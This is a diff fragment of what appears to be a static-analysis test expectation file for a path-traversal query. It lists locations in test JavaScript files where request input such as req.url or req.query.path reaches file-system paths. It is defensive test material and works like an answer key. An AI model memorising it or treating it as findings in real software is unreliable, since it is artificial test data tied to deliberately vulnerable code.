-| tainted-string-steps.js:13:18:13:37 | path.concat(unknown) | semmle.label | path.concat(unknown) |
-| tainted-string-steps.js:14:18:14:37 | unknown.concat(path) | semmle.label | unknown.concat(path) |
-| tainted-string-steps.js:14:33:14:36 | path | semmle.label | path |
-| tainted-string-steps.js:15:18:15:46 | unknown ... , path) | semmle.label | unknown ... , path) |
-| tainted-string-steps.js:15:42:15:45 | path | semmle.label | path |
-| tainted-string-steps.js:17:18:17:21 | path | semmle.label | path |
-| tainted-string-steps.js:17:18:17:28 | path.trim() | semmle.label | path.trim() |
-| tainted-string-steps.js:18:18:18:21 | path | semmle.label | path |
-| tainted-string-steps.js:18:18:18:35 | path.toLowerCase() | semmle.label | path.toLowerCase() |
-| tainted-string-steps.js:22:18:22:21 | path | semmle.label | path |
-| tainted-string-steps.js:22:18:22:32 | path.split('/') | semmle.label | path.split('/') |
-| tainted-string-steps.js:22:18:22:35 | path.split('/')[i] | semmle.label | path.split('/')[i] |
-| tainted-string-steps.js:23:18:23:21 | path | semmle.label | path |
-| tainted-string-steps.js:23:18:23:33 | path.split(/\\//) | semmle.label | path.split(/\\//) |
-| tainted-string-steps.js:23:18:23:36 | path.split(/\\//)[i] | semmle.label | path.split(/\\//)[i] |
-| tainted-string-steps.js:24:18:24:21 | path | semmle.label | path |
-| tainted-string-steps.js:24:18:24:32 | path.split("?") | semmle.label | path.split("?") |
-| tainted-string-steps.js:24:18:24:35 | path.split("?")[0] | semmle.label | path.split("?")[0] |
-| tainted-string-steps.js:26:18:26:21 | path | semmle.label | path |
-| tainted-string-steps.js:26:18:26:36 | path.split(unknown) | semmle.label | path.split(unknown) |
-| tainted-string-steps.js:26:18:26:45 | path.sp ... hatever | semmle.label | path.sp ... hatever |
-| tainted-string-steps.js:27:18:27:21 | path | semmle.label | path |
-| tainted-string-steps.js:27:18:27:36 | path.split(unknown) | semmle.label | path.split(unknown) |
-| torrents.js:5:6:5:38 | name | semmle.label | name |
-| torrents.js:5:13:5:38 | parseTo ... t).name | semmle.label | parseTo ... t).name |
-| torrents.js:6:6:6:45 | loc | semmle.label | loc |
-| torrents.js:6:12:6:45 | dir + " ... t.data" | semmle.label | dir + " ... t.data" |
-| torrents.js:6:24:6:27 | name | semmle.label | name |
-| torrents.js:7:25:7:27 | loc | semmle.label | loc |
-| typescript.ts:9:7:9:48 | path | semmle.label | path |
-| typescript.ts:9:14:9:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| typescript.ts:9:14:9:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| typescript.ts:9:14:9:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| typescript.ts:9:24:9:30 | req.url | semmle.label | req.url |
-| typescript.ts:12:29:12:32 | path | semmle.label | path |
-| typescript.ts:20:7:20:18 | path3 | semmle.label | path3 |
-| typescript.ts:20:15:20:18 | path | semmle.label | path |
-| typescript.ts:21:39:21:43 | path3 | semmle.label | path3 |
-| typescript.ts:23:7:23:18 | path4 | semmle.label | path4 |
-| typescript.ts:23:15:23:18 | path | semmle.label | path |
-| typescript.ts:24:39:24:43 | path4 | semmle.label | path4 |
-| typescript.ts:30:7:30:18 | path6 | semmle.label | path6 |
-| typescript.ts:30:15:30:18 | path | semmle.label | path |
-| typescript.ts:32:29:32:33 | path6 | semmle.label | path6 |
-| views.js:1:43:1:55 | req.params[0] | semmle.label | req.params[0] |
+#select
+| TaintedPath-es6.js:9:26:9:45 | join("public", path) | TaintedPath-es6.js:7:20:7:26 | req.url | TaintedPath-es6.js:9:26:9:45 | join("public", path) | This path depends on a $@. | TaintedPath-es6.js:7:20:7:26 | req.url | user-provided value |
+| TaintedPath.js:11:29:11:32 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:11:29:11:32 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
+| TaintedPath.js:13:29:13:48 | "/home/user/" + path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:13:29:13:48 | "/home/user/" + path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
+| TaintedPath.js:16:33:16:36 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:16:33:16:36 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
+| TaintedPath.js:19:33:19:36 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:19:33:19:36 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
+| TaintedPath.js:22:33:22:36 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:22:33:22:36 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
+| TaintedPath.js:31:31:31:34 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:31:31:31:34 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
+| TaintedPath.js:39:29:39:52 | pathMod ... e(path) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:39:29:39:52 | pathMod ... e(path) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:42:29:42:49 | pathMod ... n(path) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:42:29:42:49 | pathMod ... n(path) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:43:29:43:58 | pathMod ... ath, z) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:43:29:43:58 | pathMod ... ath, z) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:44:29:44:54 | pathMod ... e(path) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:44:29:44:54 | pathMod ... e(path) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:45:29:45:56 | pathMod ... , path) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:45:29:45:56 | pathMod ... , path) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:46:29:46:56 | pathMod ... ath, x) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:46:29:46:56 | pathMod ... ath, x) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:47:29:47:52 | pathMod ... e(path) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:47:29:47:52 | pathMod ... e(path) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:48:29:48:61 | pathMod ... ath, z) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:48:29:48:61 | pathMod ... ath, z) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:49:29:49:61 | pathMod ... h(path) | TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:49:29:49:61 | pathMod ... h(path) | This path depends on a $@. | TaintedPath.js:36:20:36:26 | req.url | user-provided value |
+| TaintedPath.js:54:31:54:76 | require ... ).query | TaintedPath.js:54:63:54:69 | req.url | TaintedPath.js:54:31:54:76 | require ... ).query | This path depends on a $@. | TaintedPath.js:54:63:54:69 | req.url | user-provided value |
+| TaintedPath.js:55:31:55:74 | require ... ).query | TaintedPath.js:55:61:55:67 | req.url | TaintedPath.js:55:31:55:74 | require ... ).query | This path depends on a $@. | TaintedPath.js:55:61:55:67 | req.url | user-provided value |
+| TaintedPath.js:56:31:56:73 | require ... ).query | TaintedPath.js:56:60:56:66 | req.url | TaintedPath.js:56:31:56:73 | require ... ).query | This path depends on a $@. | TaintedPath.js:56:60:56:66 | req.url | user-provided value |
+| TaintedPath.js:64:48:64:60 | req.params[0] | TaintedPath.js:64:48:64:60 | req.params[0] | TaintedPath.js:64:48:64:60 | req.params[0] | This path depends on a $@. | TaintedPath.js:64:48:64:60 | req.params[0] | user-provided value |
+| TaintedPath.js:75:28:75:48 | fs.real ... c(path) | TaintedPath.js:73:23:73:29 | req.url | TaintedPath.js:75:28:75:48 | fs.real ... c(path) | This path depends on a $@. | TaintedPath.js:73:23:73:29 | req.url | user-provided value |
+| TaintedPath.js:78:45:78:52 | realpath | TaintedPath.js:73:23:73:29 | req.url | TaintedPath.js:78:45:78:52 | realpath | This path depends on a $@. | TaintedPath.js:73:23:73:29 | req.url | user-provided value |
+| TaintedPath.js:111:23:111:26 | path | TaintedPath.js:109:23:109:29 | req.url | TaintedPath.js:111:23:111:26 | path | This path depends on a $@. | TaintedPath.js:109:23:109:29 | req.url | user-provided value |
+| TaintedPath.js:117:19:117:22 | path | TaintedPath.js:115:24:115:30 | req.url | TaintedPath.js:117:19:117:22 | path | This path depends on a $@. | TaintedPath.js:115:24:115:30 | req.url | user-provided value |
+| TaintedPath.js:121:19:121:33 | split.join("/") | TaintedPath.js:115:24:115:30 | req.url | TaintedPath.js:121:19:121:33 | split.join("/") | This path depends on a $@. | TaintedPath.js:115:24:115:30 | req.url | user-provided value |
+| TaintedPath.js:125:19:125:26 | split[x] | TaintedPath.js:115:24:115:30 | req.url | TaintedPath.js:125:19:125:26 | split[x] | This path depends on a $@. | TaintedPath.js:115:24:115:30 | req.url | user-provided value |
+| TaintedPath.js:126:19:126:35 | prefix + split[x] | TaintedPath.js:115:24:115:30 | req.url | TaintedPath.js:126:19:126:35 | prefix + split[x] | This path depends on a $@. | TaintedPath.js:115:24:115:30 | req.url | user-provided value |
+| TaintedPath.js:129:19:129:37 | concatted.join("/") | TaintedPath.js:115:24:115:30 | req.url | TaintedPath.js:129:19:129:37 | concatted.join("/") | This path depends on a $@. | TaintedPath.js:115:24:115:30 | req.url | user-provided value |
+| TaintedPath.js:132:19:132:38 | concatted2.join("/") | TaintedPath.js:115:24:115:30 | req.url | TaintedPath.js:132:19:132:38 | concatted2.join("/") | This path depends on a $@. | TaintedPath.js:115:24:115:30 | req.url | user-provided value |
+| TaintedPath.js:134:19:134:29 | split.pop() | TaintedPath.js:115:24:115:30 | req.url | TaintedPath.js:134:19:134:29 | split.pop() | This path depends on a $@. | TaintedPath.js:115:24:115:30 | req.url | user-provided value |
+| TaintedPath.js:143:29:143:55 | path.re ... /g, '') | TaintedPath.js:139:24:139:30 | req.url | TaintedPath.js:143:29:143:55 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:139:24:139:30 | req.url | user-provided value |
+| TaintedPath.js:149:29:149:52 | path.re ... /g, '') | TaintedPath.js:139:24:139:30 | req.url | TaintedPath.js:149:29:149:52 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:139:24:139:30 | req.url | user-provided value |
+| TaintedPath.js:150:29:150:53 | path.re ... /g, '') | TaintedPath.js:139:24:139:30 | req.url | TaintedPath.js:150:29:150:53 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:139:24:139:30 | req.url | user-provided value |
+| TaintedPath.js:151:29:151:51 | path.re ... /g, '') | TaintedPath.js:139:24:139:30 | req.url | TaintedPath.js:151:29:151:51 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:139:24:139:30 | req.url | user-provided value |
+| TaintedPath.js:152:29:152:57 | path.re ... /g, '') | TaintedPath.js:139:24:139:30 | req.url | TaintedPath.js:152:29:152:57 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:139:24:139:30 | req.url | user-provided value |
+| TaintedPath.js:167:29:167:73 | "prefix ... +/, '') | TaintedPath.js:139:24:139:30 | req.url | TaintedPath.js:167:29:167:73 | "prefix ... +/, '') | This path depends on a $@. | TaintedPath.js:139:24:139:30 | req.url | user-provided value |
+| TaintedPath.js:168:29:168:84 | pathMod ... +/, '') | TaintedPath.js:139:24:139:30 | req.url | TaintedPath.js:168:29:168:84 | pathMod ... +/, '') | This path depends on a $@. | TaintedPath.js:139:24:139:30 | req.url | user-provided value |
+| TaintedPath.js:176:29:176:49 | qs.pars ... rl).foo | TaintedPath.js:176:38:176:44 | req.url | TaintedPath.js:176:29:176:49 | qs.pars ... rl).foo | This path depends on a $@. | TaintedPath.js:176:38:176:44 | req.url | user-provided value |
+| TaintedPath.js:177:29:177:63 | qs.pars ... l)).foo | TaintedPath.js:177:51:177:57 | req.url | TaintedPath.js:177:29:177:63 | qs.pars ... l)).foo | This path depends on a $@. | TaintedPath.js:177:51:177:57 | req.url | user-provided value |
+| TaintedPath.js:179:29:179:55 | parseqs ... rl).foo | TaintedPath.js:179:44:179:50 | req.url | TaintedPath.js:179:29:179:55 | parseqs ... rl).foo | This path depends on a $@. | TaintedPath.js:179:44:179:50 | req.url | user-provided value |
+| TaintedPath.js:185:31:185:34 | path | TaintedPath.js:184:24:184:30 | req.url | TaintedPath.js:185:31:185:34 | path | This path depends on a $@. | TaintedPath.js:184:24:184:30 | req.url | user-provided value |
+| TaintedPath.js:186:45:186:48 | path | TaintedPath.js:184:24:184:30 | req.url | TaintedPath.js:186:45:186:48 | path | This path depends on a $@. | TaintedPath.js:184:24:184:30 | req.url | user-provided value |
+| TaintedPath.js:187:35:187:38 | path | TaintedPath.js:184:24:184:30 | req.url | TaintedPath.js:187:35:187:38 | path | This path depends on a $@. | TaintedPath.js:184:24:184:30 | req.url | user-provided value |
+| TaintedPath.js:195:29:195:85 | path.re ... '), '') | TaintedPath.js:191:24:191:30 | req.url | TaintedPath.js:195:29:195:85 | path.re ... '), '') | This path depends on a $@. | TaintedPath.js:191:24:191:30 | req.url | user-provided value |
+| TaintedPath.js:202:29:202:68 | path.re ... '), '') | TaintedPath.js:200:24:200:30 | req.url | TaintedPath.js:202:29:202:68 | path.re ... '), '') | This path depends on a $@. | TaintedPath.js:200:24:200:30 | req.url | user-provided value |
+| TaintedPath.js:205:31:205:69 | path.re ... '), '') | TaintedPath.js:200:24:200:30 | req.url | TaintedPath.js:205:31:205:69 | path.re ... '), '') | This path depends on a $@. | TaintedPath.js:200:24:200:30 | req.url | user-provided value |
+| TaintedPath.js:214:29:214:42 | improperEscape | TaintedPath.js:212:24:212:30 | req.url | TaintedPath.js:214:29:214:42 | improperEscape | This path depends on a $@. | TaintedPath.js:212:24:212:30 | req.url | user-provided value |
+| TaintedPath.js:216:29:216:43 | improperEscape2 | TaintedPath.js:212:24:212:30 | req.url | TaintedPath.js:216:29:216:43 | improperEscape2 | This path depends on a $@. | TaintedPath.js:212:24:212:30 | req.url | user-provided value |
+| examples/TaintedPath.js:10:29:10:43 | ROOT + filePath | examples/TaintedPath.js:8:28:8:34 | req.url | examples/TaintedPath.js:10:29:10:43 | ROOT + filePath | This path depends on a $@. | examples/TaintedPath.js:8:28:8:34 | req.url | user-provided value |
+| express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | This path depends on a $@. | express.js:8:20:8:32 | req.query.bar | user-provided value |
+| handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value |
+| handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value |
+| hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value |
+| more-fs-extra.js:10:15:10:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:10:15:10:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:11:11:11:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:11:11:11:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:12:14:12:21 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:12:14:12:21 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:13:18:13:25 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:13:18:13:25 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:14:11:14:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:14:11:14:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:15:21:15:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:15:21:15:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:16:21:16:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:16:21:16:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:17:31:17:38 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:17:31:17:38 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:18:15:18:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:18:15:18:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:20:21:20:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:20:21:20:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:21:17:21:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:21:17:21:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:22:16:22:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:22:16:22:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:23:20:23:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:23:20:23:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:24:19:24:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:24:19:24:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:25:15:25:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:25:15:25:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:26:19:26:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:26:19:26:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:27:13:27:20 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:27:13:27:20 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:28:17:28:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:28:17:28:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:29:23:29:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:29:23:29:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:30:16:30:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:30:16:30:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:31:20:31:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:31:20:31:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| more-fs-extra.js:32:23:32:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:32:23:32:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
+| normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
+| normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
+| normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
+| normalizedPaths.js:16:19:16:53 | pathMod ... .html') | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:16:19:16:53 | pathMod ... .html') | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
+| normalizedPaths.js:17:19:17:57 | pathMod ... , path) | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:17:19:17:57 | pathMod ... , path) | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
+| normalizedPaths.js:23:19:23:22 | path | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:23:19:23:22 | path | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
+| normalizedPaths.js:24:19:24:29 | './' + path | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:24:19:24:29 | './' + path | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
+| normalizedPaths.js:25:19:25:38 | path + '/index.html' | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:25:19:25:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
+| normalizedPaths.js:26:19:26:53 | pathMod ... .html') | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:26:19:26:53 | pathMod ... .html') | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
+| normalizedPaths.js:27:19:27:57 | pathMod ... , path) | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:27:19:27:57 | pathMod ... , path) | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
+| normalizedPaths.js:36:19:36:22 | path | normalizedPaths.js:31:35:31:48 | req.query.path | normalizedPaths.js:36:19:36:22 | path | This path depends on a $@. | normalizedPaths.js:31:35:31:48 | req.query.path | user-provided value |
+| normalizedPaths.js:41:21:41:24 | path | normalizedPaths.js:31:35:31:48 | req.query.path | normalizedPaths.js:41:21:41:24 | path | This path depends on a $@. | normalizedPaths.js:31:35:31:48 | req.query.path | user-provided value |
+| normalizedPaths.js:59:19:59:22 | path | normalizedPaths.js:54:35:54:48 | req.query.path | normalizedPaths.js:59:19:59:22 | path | This path depends on a $@. | normalizedPaths.js:54:35:54:48 | req.query.path | user-provided value |
+| normalizedPaths.js:63:19:63:38 | path + "/index.html" | normalizedPaths.js:54:35:54:48 | req.query.path | normalizedPaths.js:63:19:63:38 | path + "/index.html" | This path depends on a $@. | normalizedPaths.js:54:35:54:48 | req.query.path | user-provided value |
+| normalizedPaths.js:68:21:68:24 | path | normalizedPaths.js:54:35:54:48 | req.query.path | normalizedPaths.js:68:21:68:24 | path | This path depends on a $@. | normalizedPaths.js:54:35:54:48 | req.query.path | user-provided value |
+| normalizedPaths.js:78:22:78:25 | path | normalizedPaths.js:73:42:73:55 | req.query.path | normalizedPaths.js:78:22:78:25 | path | This path depends on a $@. | normalizedPaths.js:73:42:73:55 | req.query.path | user-provided value |
+| normalizedPaths.js:87:29:87:32 | path | normalizedPaths.js:82:14:82:27 | req.query.path | normalizedPaths.js:87:29:87:32 | path | This path depends on a $@. | normalizedPaths.js:82:14:82:27 | req.query.path | user-provided value |
+| normalizedPaths.js:90:31:90:34 | path | normalizedPaths.js:82:14:82:27 | req.query.path | normalizedPaths.js:90:31:90:34 | path | This path depends on a $@. | normalizedPaths.js:82:14:82:27 | req.query.path | user-provided value |
+| normalizedPaths.js:99:29:99:32 | path | normalizedPaths.js:94:35:94:48 | req.query.path | normalizedPaths.js:99:29:99:32 | path | This path depends on a $@. | normalizedPaths.js:94:35:94:48 | req.query.path | user-provided value |
+| normalizedPaths.js:119:19:119:22 | path | normalizedPaths.js:117:30:117:43 | req.query.path | normalizedPaths.js:119:19:119:22 | path | This path depends on a $@. | normalizedPaths.js:117:30:117:43 | req.query.path | user-provided value |
+| normalizedPaths.js:120:19:120:53 | pathMod ... .html') | normalizedPaths.js:117:30:117:43 | req.query.path | normalizedPaths.js:120:19:120:53 | pathMod ... .html') | This path depends on a $@. | normalizedPaths.js:117:30:117:43 | req.query.path | user-provided value |
+| normalizedPaths.js:135:21:135:24 | path | normalizedPaths.js:130:35:130:48 | req.query.path | normalizedPaths.js:135:21:135:24 | path | This path depends on a $@. | normalizedPaths.js:130:35:130:48 | req.query.path | user-provided value |
+| normalizedPaths.js:144:21:144:24 | path | normalizedPaths.js:139:48:139:61 | req.query.path | normalizedPaths.js:144:21:144:24 | path | This path depends on a $@. | normalizedPaths.js:139:48:139:61 | req.query.path | user-provided value |
+| normalizedPaths.js:151:21:151:24 | path | normalizedPaths.js:148:44:148:57 | req.query.path | normalizedPaths.js:151:21:151:24 | path | This path depends on a $@. | normalizedPaths.js:148:44:148:57 | req.query.path | user-provided value |
+| normalizedPaths.js:153:21:153:24 | path | normalizedPaths.js:148:44:148:57 | req.query.path | normalizedPaths.js:153:21:153:24 | path | This path depends on a $@. | normalizedPaths.js:148:44:148:57 | req.query.path | user-provided value |
+| normalizedPaths.js:165:19:165:22 | path | normalizedPaths.js:160:35:160:48 | req.query.path | normalizedPaths.js:165:19:165:22 | path | This path depends on a $@. | normalizedPaths.js:160:35:160:48 | req.query.path | user-provided value |
+| normalizedPaths.js:170:21:170:24 | path | normalizedPaths.js:160:35:160:48 | req.query.path | normalizedPaths.js:170:21:170:24 | path | This path depends on a $@. | normalizedPaths.js:160:35:160:48 | req.query.path | user-provided value |
+| normalizedPaths.js:184:19:184:22 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:184:19:184:22 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:187:21:187:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:187:21:187:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:189:21:189:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:189:21:189:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:192:21:192:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:192:21:192:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:194:21:194:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:194:21:194:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:199:21:199:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:199:21:199:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:205:21:205:34 | normalizedPath | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:205:21:205:34 | normalizedPath | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:208:21:208:34 | normalizedPath | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:208:21:208:34 | normalizedPath | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:210:21:210:34 | normalizedPath | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:210:21:210:34 | normalizedPath | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
+| normalizedPaths.js:222:21:222:24 | path | normalizedPaths.js:214:35:214:48 | req.query.path | normalizedPaths.js:222:21:222:24 | path | This path depends on a $@. | normalizedPaths.js:214:35:214:48 | req.query.path | user-provided value |
+| normalizedPaths.js:228:21:228:24 | path | normalizedPaths.js:226:35:226:48 | req.query.path | normalizedPaths.js:228:21:228:24 | path | This path depends on a $@. | normalizedPaths.js:226:35:226:48 | req.query.path | user-provided value |
+| normalizedPaths.js:238:19:238:22 | path | normalizedPaths.js:236:33:236:46 | req.query.path | normalizedPaths.js:238:19:238:22 | path | This path depends on a $@. | normalizedPaths.js:236:33:236:46 | req.query.path | user-provided value |
+| normalizedPaths.js:245:21:245:24 | path | normalizedPaths.js:236:33:236:46 | req.query.path | normalizedPaths.js:245:21:245:24 | path | This path depends on a $@. | normalizedPaths.js:236:33:236:46 | req.query.path | user-provided value |
